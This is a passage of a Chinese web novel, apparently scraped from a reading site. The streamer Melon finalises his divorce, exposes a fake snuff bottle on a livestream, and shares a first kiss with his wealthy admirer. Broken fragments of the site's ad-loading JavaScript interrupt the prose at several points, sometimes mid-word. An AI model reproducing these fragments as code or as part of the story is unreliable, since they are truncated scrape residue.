秦觅珑心里几乎要具像化出一个流着宽面条泪撞墙的Q版小人。 “不麻烦你了,这对我而言说不对还是好事。”秦觅珑扔掉自己的少爷包袱,说出口之后顿觉轻松多了。 “我最近手头有点紧,想试试看做直播,就算不成功也没有关系。” 这句话成功止住了关寻臻想提出帮忙的建议。 他回忆了一下刷到的那些评论区,压下心里那点不快,轻快地笑着提起另一个话题活跃气氛,“你才十八岁?” 目前户口本上登记为23岁并且是已婚状态的秦觅珑:“……” 这是真觉得委屈。 秦觅珑这下子胃口全无,放下餐具,和关寻臻点头致意,“我突然想起来还有事没做,我们有机会再聊。” 关寻臻眼睁睁看着他起身离开,一时间竟然忘记了自己的目的,坐在位置上不停回想自己究竟说错了什么话。 * 秦觅珑确实有很多事情要处理,直播间的事情不着急,等事态再发酵发酵也不迟,当务之急是和于声离婚。 正好他之前挑挑选选筛出来的房产中介给他发了消息说是有人对那套小区的房子有购买意向,不如把这两件事情一并解决了。 秦觅珑把黑名单里的于声放出来。 【回来拿走你的东西,过了下午两点你就只能去翻垃圾桶了。】 和中介约好看房的时间是晚上六点。 秦觅珑让David安排了一辆专车送他过去。 卖掉房子之后应该能让他再支撑一段时间,他不打算再住那个会碰见关寻臻的酒店了。 于声不是一个人过来的,收到消息后他就着急慌忙地告诉了自己的好gay蜜许俊楚,昨晚也是在他家里住的。 一听说于声那个窝囊废老公不仅把于声赶出家门,还这么嚣张地把人叫回去离婚,许俊楚立刻义愤填膺地挺身而出, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 表示自己会陪他走一趟。 多个人多一份底气,于声简直对许俊楚感激不已。 “阿楚,我真的很感动……” “stop!”许俊楚翻了个白眼,“讲点实际的,你上次的那个1技术怎么样?” 于声立刻心领神会,“明天我约他出来,我们三个一起吃顿饭。” 许俊楚挎上于声的胳膊气势汹汹,“什么也别说了,我永远是你的后盾,你那个老公八成是嫉妒你,自己找不到1还……” “我、我不想离婚。”于声打断他的话,说话音量在许俊楚不可置信的目光下越来越小。 没过几秒许俊楚就一脸恍然,“偷情真有这么刺激?” 他兴致勃勃地提出建议,“要不干脆我俩结个婚,按着日子轮流带人回家!” 这就是于声不觉得自己有错的原因——每当他做出什么出格的事情,许俊楚总会提出更刺激、更淫|乱的想法。 他们提前半个小时就到了,等了二十多分钟也不见秦觅珑的身影,敲门更是无人应答,许俊楚的嗓子都快喊哑了。 于声惴惴不安地咬着下唇,在门口走来走去,看得许俊楚一阵眼花,“行了,人影都没一个,你还在这里装小白兔给谁看呢?” 许俊楚没好气地白他一眼,他嗓子都快冒烟了,“我去小超市买瓶水,顺便透透气,有事情你就打我电话。” 于声立马点头。 许俊楚其实已经有点后悔了,来这里陪于声这个傻叉谈离婚还不如和前几天他在酒吧遇到的优质猛1好好交流交流感情呢。 连男人都能互相交换使用的塑料友谊就是这么不值钱。 许俊楚买了瓶水往回走,还没走两步,余光就看见一辆车停在小区门口。 车前盖上立着一个金光闪闪的小金标,豪车啊! 车上下来一个男人,腿很长。 等许俊楚看清那张脸的时候,他整个人都呆住了,恍惚间似乎听到了花朵盛开的声音,细微的簌簌声,撩的他心痒痒。 他还没反应过来,就看见那个大帅哥径直地走进了于声家那栋楼。 许俊楚立刻冲进单元楼。 然后…… 许俊楚看看左边神色高冷不耐烦的大帅哥,瞅瞅右边红着眼圈神情凄苦的塑料gay蜜,一时间竟然不知道说什么好。 难怪于声这小绿箭不想离婚啊! 背着这种极品和别人偷情的滋味该有多爽啊!圈子里僧多1少,更别提这种质量的了。 他于声真是岂有此理!吃个山珍海味大餐还奢侈得吃一盘扔一盘! 6. 人怎么能这么有种? 秦觅珑把门打开。 “房子已经卖了,进去收拾。” 他一个眼神都没扔给另外两个人,也懒得多说几个字。 就算长得帅也不能这么不尊重人吧?! 许俊楚刚想义正严辞地说两句,就看见于声已经面色发红地扶着门框走进去了。 光看他那走路姿势,许俊楚就知道他肯定发骚了。 没想到于声居然就好这一口。 算了……他一个外人,也不好多说。 于声一听秦觅珑说把房子卖了,也没有再做无谓的挣扎,他的东西里还有不少绝版收藏,要是不拿走就是被当成垃圾的下场。 可他绝对不会同意离婚! 于声的东西不算多,他以前很少回家,夜夜混迹酒吧和各种男人家,也就最近因为想找点刺激才回来。 等东西差不多都收拾完之后,他一跨过门,就“扑通——”一下跪在秦觅珑脚边,梨花带雨道:“老……” 秦觅珑的眼神像在看死人一样。 “秦……”于声卡壳了一下,他居然想不起来他老公叫什么名字了? “秦先生,我已经改了,我以后再也不会做那种事情了,不要离婚好不好?我们以后好好的……”于声越说越委屈,他想伸手抱住秦觅珑的腿,就见对方毫不犹豫地退了好几步。 他正要膝行过去,突然被从背后传来的力道提了起来。 脸上还挂着眼泪的于声愣了一下。 许俊楚用力捏住于声的胳膊,气哼哼瞪了秦觅珑一眼,“别说了于声!我们没必要这么卑微!天底下男人多的是!又不是离了他就活不下去!” 秦觅珑看了许俊楚一眼,不知道这个化着眼线口红还撅着嘴的男人是哪个蠢货。 许俊楚被他看得心跳漏了一拍,顿时更来劲了,“你别以为长得帅就了不起!我们于声也有很多追求……” 于声猛的一把捂住了许俊楚的嘴。 许俊楚唔唔两声,眼看秦觅珑居然抬腿走了过来! 他心下大喜,正要挣脱于声的手,就见他目不斜视地路过他,把门一拉一锁,然后淡漠无情地吐出一句话。 “现在去民政局。” 于声慌乱摇头。 许俊楚在背后暗暗掐了他一把,把他拉到一旁。 于声无声地用目光质问许俊楚。 许俊楚叹了口气,压低音量,“我总算是知道你为什么不愿意离了。” “但是你看看他,像是能原谅你的样子?” “依我看,不如先快刀斩乱麻,给你们的感情一个新的开始……” 秦觅珑不耐烦地看了一眼表,已经过了十五分钟了,假如于声还是不同意,那么他就要用点特殊手段了。 “你们聊好了没有?” “我答应你。”于声含着泪水看他一眼,那一眼里,不知道含了多少委屈和坚强。 秦觅珑才懒得去深究他在想什么,不论如何,只要结果达成了就好。 三人从民政局出来以后,两本离婚证新鲜出炉。 于声怔怔地看着手上的绿本。 他总觉得,好像有什么细节被他忽略了。 * 秦觅珑叫了保洁过来将房子打扫过一遍,房子的买家很满意,爽快地支付了订金。 于是秦觅珑怀揣着二十万,去市中心租了两万一个月的大平层。 继续住酒店,万一又遇到想泡他的怎么办? 而且他的直播事业需要一个长期根据地——在秦觅珑看见后台账户里的余额居然是招聘平台给他开的半年工资的时候,他决定暂时继续进行原来的计划。 虽然第一次直播他似乎什么也没有做,就收获了很多粉丝,但那些流量只是一次性的,想要把暂时性的流量转化为永久性的,那就必须拿出实力来。 秦觅珑一直都觉得颜值只是他众多优势中较为显眼的一个小优点。 在经过漫长的申诉办理手续之后,秦觅珑的直播间终于得到了解封。 三天时间说长不长,说短不短,但已经足够将他之前引起的热度冷却。 一个仅仅注册三天,却已经拥有2.8w粉丝量的新主播号,在这一天晚上,又悄无声息地开播了。 当然,这是秦觅珑认为的悄无声息。 郝莫是一名普通在校大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 学生,也是一名某短视频平台重度用户,他对网上所有潮流风向了如指掌,任何有名的大小主播事迹如数家珍。 这一天晚上,手机突然跳出来一条消息。 「您的特别关心Melon已经开播啦!快来看看Ta吧~」 郝莫立刻想起了这位出道仅仅两个小时就因为直播间烧话程度触动平台底线而惨遭封禁的新人主播。 那天的直播录屏可是现在还在平台上流传呢。 不少人都觉得这主播背后肯定有资本推手。 郝莫也早就猜测到了事情的真相——百分之八十开了较为自然的滤镜和美颜,百分之二十是去哪个医院换了个头以后装作妈生脸大帅哥横空出世。 否则怎么解释这么一个长相身材出色的帅哥那么多年都籍籍无名呢?就算遇不到星探进娱乐圈,群众的眼睛也是雪亮的吧? 那张脸要么不是真的,要么就是整的。 郝莫进入了直播间。 现在是晚上八点,此时在线人数已经高达八千多人,看来Melon的粉丝基本都是活粉。 郝莫定睛一看,突然觉得有点不对劲。 这直播间观看人数涨得也太快了吧! 再仔细一看弹幕。 【博眼球也要有个底线,野鸡小主播,谁教你这么不要脸地蹭热度的?】 【帅哥我会为你悼念的,你重开一趟我还会支持你!】 【人怎么能这么有种!】 郝莫倒吸一口凉气,终于结合上下文推测出来了事情的起因经过结果。 Melon一上播就打了把pk,结果正好撞车平台超级网红爵哥,双方粉丝都很激动。 爵哥在平台上有两千多万的粉丝,也算是初代网红了,家境也不错,就喜欢淘些稀奇古怪的贵重玩意儿。 比如今天,爵哥就在把玩一枚鼻烟壶。 两个人遇上的时候,爵哥笑着夸了一句Melon是真帅,比他手上这枚清朝的鼻烟壶还真。 粉丝友好捧场夸赞的时候,Melon突然来了一句:“你手上的是赝品。” 这句话犹如一滴水溅入滚烫的油锅。 7. 直播间鉴真 秦觅珑这句话并非无的放矢。 他姥爷就特别喜欢收藏鼻烟壶,每次过大寿,都有不少人“进贡”那些精致的小玩意儿,几乎都成了他的玩具。 这些东西,他小时候砸了不知道多少个,就爵爷手上把玩的那个,是连宁老爷子给宝贝外孙当玩具都拿不出手的十八流货色。 一个还算逼真的赝品。 秦觅珑看见弹幕上说爵爷手上那个鼻烟壶花了他二十万,就知道这是个冤大头。 爵爷虽然是新手收藏者,但是他自己并不认为自己一窍不通,于是在秦觅珑断言这是赝品之后,他被气笑了,直接断开了连线。 弹幕上两家粉丝吵得不可开交,爵爷的粉丝多到能抵得上一千个秦觅珑,饶是秦觅珑的粉丝战斗力不弱也被打压得几乎没有还手之力。 所以这么乍一看过去,弹幕是几乎全是骂声。 正在观看直播的郝莫大致了解了整个过程之后咋舌不已,再看看当事人,跟个没事人似的撕开糖纸往嘴里塞了颗薄荷糖,托腮看着弹幕大战,脸上甚至还有几分百无聊赖,好像对什么都提不起兴趣似的。 估计要不了多久,这个直播间又要被封禁了。 眼看弹幕上的言语谩骂已经上升到了人身攻击,郝莫不无可惜地给这位新出炉的小网红判了死刑——现在也不用纠结他究竟有没有开美颜,那张脸是真还是假的了,开头就得罪了一位初代超级网红,业内还能混得下去吗? 【主播赶紧去道歉吧,爵爷撅你来了。】 【我就喜欢你这种宁死不屈的帅哥,你道歉我就取关。】 【世纪大战即将开始,明天排行榜热搜预定!】 郝莫还没反应过来,屏幕上就跳出来两张脸,其中一人赫然就是刚刚“负气离开”的爵爷! 不得不说,在同屏对比之下,就算大家都开了美颜滤镜吧,Melon这小子这张脸也是真能打啊! 三个人根本不像在一个图层。 爵爷还是那副笑眯眯的模样,看上去不是很生气,但说的话却不是很友好。 “Melon帅哥,我请了一位专业人士过来,给你介绍一下我的新藏品。” 弹幕上都在嘲讽Melon还不快谢谢爵爷带你见世面? 他口中的专业人士就是屏幕上的另一个网红飞天大狗熊,也有个小几十万粉丝,据说是某圈神秘富二代。 飞天大狗熊长得很憨厚,开口也很热情,“hello~你好你好!” 秦觅珑看他一眼,“你好。” 飞天大狗熊见他反应淡淡也不尴尬,挠了挠头放出一个王炸:“其实这个鼻烟壶我和爵爷都看中了,卖家原本是打算捐给G省博物馆的。” 【我趣!我才知道收藏品到博物馆之前原来是可以买走的。】 【好大的手笔omg。】 【笑死,这就打脸了?明明就是靠脸吃饭怎么还装上了,以为自己是什么见惯古董的超级富二代吗?】 【我要是Melon就连夜销号,丢死人了。】 【补药啊!我替Melon宝宝道歉,老公你可不能退网啊!】 “真的,当时是熊哥忍痛割爱,我才有机会买回来,你们仔细看看,漂不漂亮,这可是本来要进博物馆的东西。”爵爷笑嘻嘻地把东西凑近镜头。 【美!美鼠了!】 【好看好看好看!!!】 飞天大狗熊捏着拳头威胁他,“够了吧?本来没买到就烦,还在这里和我炫耀是不是?” 爵爷立刻把手收回来,笑了两声,“我哪有这么贱,就是让Melon帅哥放心一些,毕竟你这专业人士的眼光肯定比我强。” 【某人真的是小丑中的小丑,扑克牌的最大数,麦当当里的吉祥物,别叫Melon了赶紧改名叫Joker算了,反正都是五个字母。】 【你放什么狗屁,丑这个字和他哪里沾边了?】 秦觅珑“咯嘣”咬碎嘴里的糖块,“看来专业人士的眼光也不过如此。” 屏幕上另外两张脸懵逼了一下。 弹幕滚动的速度卡了一瞬。 【???他在说什么我没听错吧?】 【主播你是男人中的男人,雄性中的雄性!】 【想火想疯了?这是什么精神状态,癫公。】 飞天大狗熊难以置信地“啊?”了一声。 爵爷愣了一会儿,摸了摸鼻子,勉强地笑了一下,“哈哈……” 做到他这个地位的大网红,就算是品牌方也得端着他,这是他头一回遇到这么不懂礼数的新人。 爵爷和弹幕里大多数人一样,已经把秦觅珑当作了胡搅蛮缠想红想疯了的小网红。 这个Melon究竟在有恃无恐什么啊? 爵爷本来是见他长相不错,很有火爆的潜力才愿意卖个好,现在他也懒得再多做纠缠,更不想让对方踩着自己出名,便打算草草说几句就告辞。 “没想到Melon帅哥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好像也挺喜欢这些收藏品的,有机会我们可以再聊聊。” 【爵爷真的很给面子,情商也很高。】 【Melon真就恃靓行凶呗,长得帅了不起吗?无脑草包真的很下头。】 【+1,我也觉得下头。】 秦觅珑嘴里的糖化得差不多了,他开口道:“我和你没什么好聊的。但是你人挺好的,别被骗了,你这个鼻烟壶别说二十万,两万都不值,博物馆绝对不会要这种东西。” “鼻烟壶的赝品工艺主要分为两种,一种是臆造,一种是仿造,臆造的基本上很容易分辨,你手上这个实际上处于两者之间,手法还算高明,却也达不到以假乱真的地步。” “玻璃胎画珐琅鼻烟壶确实能够达到几十万元到几百万元不等的价格,但由于材质原因,很难准确判断玻璃的年代,从图样上来看,清廷风格很浓,卖家应该和你说这是哪位皇帝的御用品吧?” 爵爷呆住,不知不觉就吐露了自己的想法,“对,卖家说这是清代乾隆帝用过的。” 【我有一个大胆的想法……Melon真的不像是在胡说八道啊……】 【之前大家都以为他开播那次住五星总统套是为了造势,我想说看他那个气质,很有可能这就是人家的日常啊!】 【额,Melon绝对是爵爷公司要捧的新网红。】 秦觅珑继续道:“正因为材质特殊又卖价高昂,所以玻璃胎画珐琅鼻烟壶是一个造假很多的品种。现代的颜料和古代的颜料在色彩明暗上会有细微的差别,假如你没开滤镜的话,那么你买的这一只颜色调和得很好。” 爵爷:“……” 这时候他是嘴硬咬牙说没开比较好呢还是直接关掉滤镜比较好呢…… “花、虫的图案也很细腻,线条非常流畅,所以我说这个造假者的技艺还算高明。但是它的造型很有问题,仿的是最早的背壶式,可足和肩、厚度都有问题,乾隆时期的背壶式鼻烟壶从侧面看只有一厘米左右,这叫做厚不过颈。” “你手上这只鼻烟壶,大概率不会是清代的,不过材质和工艺都还看得过去,勉强大概能值个两千元左右。” 秦觅珑又拆了一颗薄荷糖放进嘴里咬得“嘎嘣”响。 直播间陡然亮起金光闪闪的特效。 “超级用户GG赠送Melon一座梦幻城堡~” x1,x2……x99 看直播的郝莫瞪大眼睛:不是吧,出道三天就有榜一大哥了? 8. H市扫黄打非小分队 爵爷匆匆断开连线之后,飞天大狗熊也尴尬地打了个招呼就走了。 即便没有和大网红打pk,秦觅珑的直播间也因为那大手笔的99个梦幻城堡引来不少流量。 秦觅珑看了一眼让人眼花缭乱的礼物特效,懒洋洋地拉长语调,“谢谢GG老板——” 【这个主播好特别,我从来没见过能在99个梦幻城堡面前保持冷静的男人。】 【你懂什么?这就是极品男模的底气(阴险)】 GG并没有在直播间发表只言片语,更不像其他主播的榜一大哥那样提出什么要求,但是一个价值五千元的礼物连砸99发的流量加持还是瞬间把秦觅珑的直播间带上了平台热搜。 H市是个二线城市,虽然人口基数庞大,但是对于某些群体而言,还是能找到癖好一致的人组成自己的小圈子。 「H市扫黄打非小分队」 大鸡炖蘑菇:【woc,老弟们出来看极品@全体成员】 大鸡炖蘑菇:【直播链接】 Agoni:【你又饿了?天天极品极品,看见个男人就叫极品】 Agoni:【上次你说的那个“极品”早就被楚楚打假了,现实简直和视频里胖若两人。】 大鸡炖蘑菇:【不,这个是真极品,观察鼻梁喉结手指三步走,绝对大!】 两分钟后。 Agoni:【我擦!真·极品,三分钟内我要这个男人的所有信息!】 大鸡炖蘑菇就是这个群的群主,每天热衷于把所有网络平台上的帅哥转发到群里供群友们品鉴欣赏,但由于他实在太不挑食,信用度已经降为负数。 但Agoni就不一样了,Agoni家境不错,挑男人的眼光很高,还和几个小明星谈过,在他口中也只能得到“也就那样”的评价。 两个人一来一往的互动让潜水的群成员开始冒泡。 纯欲美0在线摇人:【切,Melon啊?他第一次开播我就知道了。】 大鸡炖蘑菇:【?】 Agoni:【??你小子背着我们吃这么好?!】 纯欲美0在线摇人:【吃个屁吃,我老公一看就是直男,死心吧,这辈子没有男人能够得到他。】 大鸡炖蘑菇:【那倒也是,我gay达都没响。】 Agoni:【弹幕怎么都叫他男模?要是真男模的话,我砸锅卖铁也要点他一次。】 大鸡炖蘑菇:【就是不知道有没有开美颜,总感觉他帅得不真实。】 楚楚闻啼鸟:【他没开,这直播还没他现实里一半帅。】 众人排队在下面发问号:? Agoni:【?楚楚,你见过他?】 楚楚闻啼鸟就是许俊楚,他这几天没怎么刷短视频,看见群消息才发现于声的前夫居然去做主播了! 楚楚闻啼鸟:【何止见过啊。】 纯欲美0在线摇人:【你个贱人我和你拼了!你玷污了我的老公!】 大鸡炖蘑菇:【怎么样,大吗?】 楚楚闻啼鸟:【……我的意思是何止见过他,我还和他说过几句话。】 楚楚闻啼鸟:【我发誓,一根手指头都没碰到。】 Agoni:【听起来很遗憾的样子,看来是你真的后悔,Melon老公也是真的帅】 Agoni:【吸溜口水.gif】 楚楚闻啼鸟:【而且他不是直男。】 大鸡炖蘑菇:【?你这叫做说几句话?】 纯欲美0在线摇人:【楚楚你实话实说,我老公厉不厉害?】 456:【真的假的?不是直男我就冲了,我可以为他做1!!】 楚楚闻啼鸟:【就是吧……我也就见过他一面,他是我朋友前夫,那天我陪他们一起办了离婚手续。】 众人排队发:??? Agoni:【你朋友什么情况?眼光这么高?】 456:【假如他不行,我可以做1,假如他不上进,我可以赚钱养他,假如他癖好特殊……xp是可以开发的啊!】 楚楚闻啼鸟:【……我也想不通我朋友为什么会这样,反正是因为我朋友趁他睡觉的时候在床上和别人偷情被他发现提出离婚,现在我朋友正在烦恼如何挽回他前夫。】 纯欲美0在线摇人:【大袜子、、这还是中文吗?你报个地址我去暗杀你那个不识好歹的朋友!】 Agoni:【卧槽!长这么帅,我发誓我能一辈子就守着这一根。】 456:【你朋友也是极品,有种脑干缺失的美。】 群里立刻对于声的行为热议起来。 许俊楚给于声发了个消息,问他要秦觅珑的联系方式。 余生:【你想做什么?】< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许俊楚没想到这都过了几天了于声居然还这么警惕,他本来想徐徐图之,但再拖下去,到时候秦觅珑都成网红了,岂不是更看不上他? 无奈之下,他只好把秦觅珑当主播的事情告诉于声。 于声收到消息,心里就是“咯噔”一下。 这时候秦觅珑已经下播了,他点进去也看不到他,只能看见他的粉丝数。 粉丝人数:9.8w 于声咬了咬唇,心里很复杂,他不想让秦觅珑被那么多人看见。 * “你还挺适合当主播的。” 关寻臻顶着GG的用户昵称给秦觅珑发了条语音。 砸了不少真金白银下去,他这个账号绝对能在众多私信里置顶。 他觉得秦觅珑应该是那种不太爱看私信的人,但同时又担心真的被他听见,两种复杂的感觉交织之下,一股不知从哪里来的很神奇的作用力推着他又发了几条语音。 “其实我、我真的蛮喜欢你的。” “从小到大,没见过这么合胃口的人。” “要不要和我试试看?家世清白,无性经验和恋爱史。” “独生子,父母开明,奶奶是德国人,所以我有四分之一日耳曼血统……” 页面上排列着一条条长短不一的语音条。 关寻臻突然有点后悔了,羞窘后知后觉涌上心头,他立刻动作手指一条条撤回来。 还好消息都在撤回时间范围内,只留下了第一条。 他长舒了一口气。 突然对面发来一条消息。 Melon:【?】 紧接着又是一条。 Melon:【关寻臻?】 关寻臻呆若木鸡,当场僵硬成一座雕塑。 突然在网络平台上被人叫出真名的感觉…… GG:【你认错人了,不是我。】 关寻臻飞速解释,刚发出去才发现哪里不对,又火速撤回。 ……完了。 这下彻底完了…… 关寻臻颤抖着手指,打算退出页面,然后把这个让他丢尽颜面的破软件卸载! 他的手指悬在空中停顿了整整一分钟。 Melon:【melon1010,我的vx号】 Melon:【他们都说,要主动给榜一大哥联系方式】 9. 接过吻吗? 关寻臻攥紧拳头,从在网络上痛失真名这件事上获得了久违的紧张感。 对方会怎么想? 即将问斩的犯人惴惴不安地注视手握屠刀的刽子手。 等待一分钟的结果出乎意料得令人惊喜。 刽子手利索地扔掉屠刀,还十分大方地替他解开了身上的绳索。 关寻臻盯着秦觅珑发来的联系方式,心底渐渐漫上一种很奇妙的湿意,像是已经做好迎接狂风暴雨的准备时,忽然之间天降甘霖,一朵朵带着露珠的花苞从泥土里钻出来,挺直身躯轻轻柔柔地绽开。 等他回过神来时,才发现自己已经发送了添加好友申请,还无知无觉地在申请理由里写了两个字。 “喜欢” 关寻臻反应过来自己做了什么,霎时一把丢开手机,面色痛苦地呻吟一声,把发热的脸整张埋进被子里,“Oh nooooo……” 秦觅珑完全不知道关寻臻这番复杂多变的心理活动。 在他印象里,关寻臻一直以来都是个发言直白、行为大胆的人——况且对方从头到尾都没有掩饰过对他这具□□的兴趣。 实际上关寻臻的猜测也并不是没有道理,秦觅珑的确是个不喜欢看私信的人。 后台私信多得数不胜数,假如关寻臻没有打赏那笔巨额礼物,那么秦觅珑就只会关注到平台官方发过来的消息。 一个等到主播达到相应等级后才会发送的签约通知。 像秦觅珑这样没有签约的主播只能获得直播间打赏礼物价值的百分之五十,扣除税费、提现手续费,到他手里的只剩下百分之二十。 但签约之后就不一样了,平台会把他划进自己人的范畴,不仅流量扶持给的很大方,还有一定的奖金和补贴。 秦觅珑的物欲其实很低,但耐不住他这具生来的少爷身子开销太大。 他能穿非手工缝制的杂牌衣服,但衣料必须舒适柔软透气,他不怎么挑食除了洋葱没有其他忌口,但只吃得下食材新鲜锅气十足的现炒菜肴。 这些都需要金钱维持。 秦觅珑是在爱里长大的小孩。 爷爷会在古朴恢弘的庭院里给他建造卡丁车赛道,奶奶戴着老花眼镜给他织小毛线帽,外婆手把手教他看懂股市涨跌和金融财讯,外公会在他每个生日的时候,让所有城市的中心广场LED屏上都出现他的生日祝福。 和身边众多发小不一样的是,秦觅珑很喜欢父母出差,因为他们大多数时候会把他也带上,假如实在是事态紧急只能把他留在空荡荡的豪华别墅里,也会给他带礼物。 妈妈会说:“这次给Melon买了一份特别棒的礼物!” 爸爸就笑着接上:“那我买的这份就送给小甜瓜吧!” 他在浓厚的爱意里生根发芽,茁壮成长,开花结果。 每个城市的家里,都有长期雇佣的管家和佣人,他们对他的所有生活习惯了如指掌,秦家名下的各大五星级酒店,永远都留着一套他专属的总统套。 在十八岁成年礼来临之前,秦觅珑从来没想过自己会离开家人。 小区陆陆续续游进来很多车辆,秦觅珑站在阳台上,隐隐约约闻到饭菜的香味,听见孩童嬉戏吵闹被妈妈温柔制止的声音。 “咔嚓—呲——” 气体从铝制拉环的缺口里冒出来。 假如非要对比的话,秦觅珑以前连打开易拉罐的机会都很少,他说想喝可乐,端上来的只会是佣人已经倒好在杯里的饮料。 晚风轻轻柔柔吹起他的额发,秦觅珑突然觉得有点伤感,也有可能是别的,他从来没体会过的陌生情绪。 在没有吃饭,也不知道该吃什么的时候,一个人和一群人的感受是不一样的。 背景空白的原身没有工作,交际圈非常小。 秦觅珑翻了一下通讯录,硕果仅存的除了房屋中介和直播平台对接人之外,居然就只有他刚刚添加的关寻臻。 关寻臻起码还和他吃过一顿饭。 榜一大哥勉强算是能一起吃饭的熟人,秦觅珑没有想要点开黑名单翻看的打算。 他犹豫了一下,给关寻臻发了条消息。 【吃饭了吗?】 【假如没有,我可以请你吃一顿饭,就当作上次那顿早饭的回礼。】 关寻臻没有回复。 秦觅珑想了想,猜测对方现在也许手头有事,没有继续打扰,查找了一家附近评分挺高的私房菜馆。 距离他不是很远,索性他也不是很饿,就打算慢慢走过去。 现在是十月份,H市陡然转凉,秦觅珑一步一步踩着金黄的落叶往前走。 叶片挤在鞋底和砖石之间裂开的声音很清脆。 平平无奇的卫衣和工装裤穿在他身上简约又大气,像是剪裁精致的奢牌定制款。 他刚走了一段路,手机突然震动起来。 秦觅珑从裤袋里摸出手机,发现是关寻臻的来电。 关寻臻从来没想到他会这么快给秦觅珑打电话,至少,他没想过加上联系方式后会是秦觅珑先给他发消息,而且!还是约他出去吃饭(^^) 这已经是明示了吧? 这肯定是! 给秦觅珑发送了那条令人尴尬的好友申请之后,关寻臻冲进泳池游了好几个来回直到他游了个畅快才停下。 因此,等他看到消息已经是十分钟之后。 担心秦觅珑因为他没空所以转而找其他人一起吃饭,关寻臻吓得不管不顾直接拨了个电话过去。 “地址发我!我现在就过来!” 秦觅珑听见关寻臻在喘气,像是刚做完剧烈运动。 “你可以慢慢来,我步行过去。”秦觅珑其实已经有点后悔了,他有点担心关寻臻误会他的意思。 他只是觉得在这个陌生的世界没什么归属感,想找个熟悉的原住民一起吃饭,但是关寻臻不一定会这么想。 可是、可是关寻臻这么……热情……一副对他的邀约受宠若惊的样子……他实在不好意思拒绝,只好把地址发过去了。 刚才一直放空的大脑,现在终于有了些实感——秦觅珑开始思考两个人见面之后要怎么向关寻臻解释清楚。 等秦觅珑慢悠悠走到门口的时候,他简直大吃一惊! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 站在门口个高腿长,面色淡淡的金发美人不是关寻臻又会是谁? 看上去好像还打扮了一番,秦觅珑震惊于居然有人能在短短二十分钟内收拾好一切并且提前到达约饭地点这个事实。 实际上他已经做好等人的准备了。 一看见秦觅珑的身影,方才还满脸淡然的关寻臻立刻眼睛一亮,他的表情即刻间生动起来,如同面无表情的中世纪油画主角陡然被赋予真实的喜悦从而变得鲜活起来。 “等很久了吗?抱歉。”秦觅珑暗忖,难道是自己刚刚走得太慢了? 关寻臻摇头,“我也是才刚来。” 不枉他急急忙忙冲了澡,又飞速搭配了一套约会小心机穿搭,又让司机抄了最近的路过来。 一般而言,在约会中提前到达的人往往能够占据接下来的主动权。 “我随便挑的这家,不知道预约满了没有,假如你有更合适的选择,我们也可以换一家餐厅。” 秦觅珑很少亲自订座,一时半会居然忘记了预约这回事。 现下只能祈祷今天他们没有满座了。 关寻臻笑了一下,“被你猜对了,这家生意很火爆。” “不过我刚刚问过,正好还空出一桌。” 世上的巧合,很多都不是巧合。 见关寻臻熟练地又开始点“隐藏菜单”,秦觅珑就深切体会到了上述这句话的含义。 “要不要来点小麦果汁?这家店的精酿风味很独特。”关寻臻调笑式地提出邀请。 秦觅珑说:“可以尝试一下,但是我喝不了太多。” 他对自己的酒量心知肚明。 “相信我,我的推荐不会让你失望的。” 关寻臻说的没错。 这家店不仅饭菜可口,搭配的精酿更是一绝。 燕麦酿造的啤酒泡沫细腻丰富,带有坚果和谷物的香气,酒体轻盈柔滑,余味清爽湿润,回甘悠长。 秦觅珑不知不觉喝了好几杯,酒水落肚,心胸酣畅,迷乱的思绪顷刻间收拢,任由那并不算上头的酒意摆布拖拽。 关寻臻也喝了不少,他望着秦觅珑被酒液沾湿的嘴唇,不自觉舔了舔唇。 桌上烛火样式的灯光倒映在瞳孔里。 他们对视一眼,谁也没挪开眼神, 两双眼中各有彼此身影。 关寻臻的心跳越来越快,逐渐密如擂鼓。 “喂。”他轻轻叫了一声,然后顿了一下,没有立刻说出下一句话。 但直觉告诉秦觅珑,他接下来会说一句很关键的话。 关寻臻喝完杯里的酒,眼睛一直定定地注视着秦觅珑。 “你有没有接过吻,Melon?” 这句话的音量比刚刚更轻。 名字是一个具象化的符号,绰号则显得更为亲昵,在某些特殊场合里叫出来,会带有一种双方都心照不宣的暧昧色彩 ——特别是当它缀在一个成年人的邀请语句之后。 秦觅珑隐约又模糊地猜到了关寻臻的想法。 “没有。” 他轻声回答。 10. 磕磕碰碰、两个人的初吻 秦觅珑一直很想体验一下什么叫做成年人的快乐,并且还让朋友帮忙挑过人选,奈何他要求太高,迟迟没有付诸实践。 小麦果汁的度数并不算高,秦觅珑知道那几杯酒顶多只能到“小酌怡情”的程度,但他现在浑身轻飘飘的像是要飞起来,却又稳稳地、沉沉地坐在原位。 真的好像醉了似的。 关寻臻站在他身侧,抬手揽住他的后颈,另一只手拽住他的领口迫使他无法动作。 秦觅珑就那么眼睁睁地,看着关寻臻缓慢又坚定地压下来——直到两个人鼻尖相抵。 在这个过程中,他的睫毛一直在颤抖。 在这一刻,关寻臻多么希望自己混的是多情又浪漫的意大利血统,骨子里内敛严谨的日耳曼血统和生性保守的华国人不遑多让,做不出轻易与人亲密肢体接触的事情。 关寻臻相信秦觅珑真的像他之前所说的那样只有十八岁,因为他实在太紧张、太青涩了。 即便他努力想要伪装出在风月场上摸爬打滚过的镇定模样,但这副伪装在好歹虚长几岁的关寻臻面前就像易碎的泡沫,一戳即破。 他们的呼吸都很滚烫,气息打在一起,密不可分。 关寻臻忽然往上挪了挪。 他亲到了秦觅珑的眼睛。 颤抖不停的长长眼睫,立刻僵住。 趁秦觅珑还没有反应过来之前,关寻臻轻而易举地,贴上那张觊觎已久的唇。 不同的口腔温度似乎能催化出不一样的小麦香气。 在亲密的时候,能够很容易地分辨出来对方的技巧是否娴熟或生涩。 冲动又莽撞、磕磕碰碰、笨拙的、两个人的初吻。 …… 自打那天之后,关寻臻很久没有再见到秦觅珑。 明明他们是手牵着手走出的餐厅,又肩并肩走了好长一段路。 